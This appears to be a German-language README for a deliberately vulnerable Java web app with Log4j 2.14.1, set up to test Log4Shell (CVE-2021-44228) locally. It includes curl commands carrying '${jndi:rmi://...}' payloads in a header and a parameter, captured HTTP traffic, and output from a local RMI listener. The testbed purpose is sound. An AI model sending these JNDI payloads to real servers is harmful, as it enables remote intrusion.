
Dies ist eine potenziell verwundbare Java-Webanwendung, die Log4j enthält, das von log4shell (CVE-2021-44228) betroffen ist.
Dies ist eine potenziell verwundbare Java-Webanwendung, die Log4j(2.14.1) enthält und von log4shell(CVE-2021-44228) betroffen ist.
java --version aus, um zu prüfen, ob AdoptOpenJDK ordnungsgemäß funktioniert.[Hinweis]
Wenn Sie die JDK-Version, den Tomcat-Port usw. ändern möchten, bearbeiten Sie build.gradle.
Führen Sie den Gradle Wrapper mit build.gradle aus.
# on Linux
./gradlew appRun
# on Windows
.\gradlew.bat appRun
Haupt-URL:
http://localhost:8080/l4s-vulnapp/
[Hinweis]
Log4Shell wird nur ausgelöst, wenn die App eine Log4j-Protokollierung durchführt.
Wenn beispielsweise die folgende URL aufgerufen wird, wird Log4Shell ausgeführt.
http://localhost:8080/l4s-vulnapp/servlet
Sie können Log4Shell überprüfen, indem Sie den Wert von "x-param" manipulieren oder dem HTTP-Request beim Zugriff den Header "x-log" hinzufügen.
Diese Parameter werden von Log4j protokolliert.
Dies funktioniert jedoch nur, wenn ein lauschender Server auf localhost:8081 erreichbar ist.
curl http://localhost:8080/l4s-vulnapp/servlet -H 'x-log: ${jndi:rmi://localhost:8081/test.txt}'
curl -X GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D
HTTP-Anfrage
GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/ *;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/l4s-vulnapp/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ja,en-US;q=0.9,en;q=0.8
HTTP-Antwort
HTTP/1.1 200
Content-Type: text/plain;charset=utf-8
Content-Length: 62
Date: Fri, 15 Mar 2024 18:42:56 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Hello
Logging to console using vulnerable Log4j2 by parameter
RMI-Anfrage von l4s-vulnapp
2024/03/16 03:42:46: [Start] Receive Server for Log4Shell.
2024/03/16 03:42:46: [Note] Listening on IP: "localhost" Port: 8081
2024/03/16 03:42:55: [Note] Requested from IP: "127.0.0.1" Port: 53282)
2024/03/16 03:42:55: [Hex data] ===== start =====
2024/03/16 03:42:56: 00000000 4A 52 4D 49 00 02 4B 00 00 00 00 00 00 00 00 00 JRMI..K.........
2024/03/16 03:42:56: 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2024/03/16 03:42:56: [Hex data] ===== end =====
2024/03/16 03:42:56: [Raw data] ===== start =====
2024/03/16 03:42:56: JRMI
2024/03/16 03:42:56: [Raw data] ===== end =====
l4s-ls.ps1 startet einen lauschenden Server. Führen Sie dieses Skript in Windows PowerShell bzw. der Eingabeaufforderung aus.
Dieser Server empfängt binäre Kommunikation wie LDAP und RMI und kann den Inhalt dieser Kommunikation in Hex und Raw anzeigen.
Wenn das Skript nicht richtig funktioniert, verwenden Sie Strg + C, um es zu beenden.
[Achtung]
Beim ersten Ausführen dieses Skripts muss im Windows-Popup „Privates Netzwerk“ ausgewählt werden.
PowerShell -ExecutionPolicy RemoteSigned .\l4s-ls.ps1 -p 8081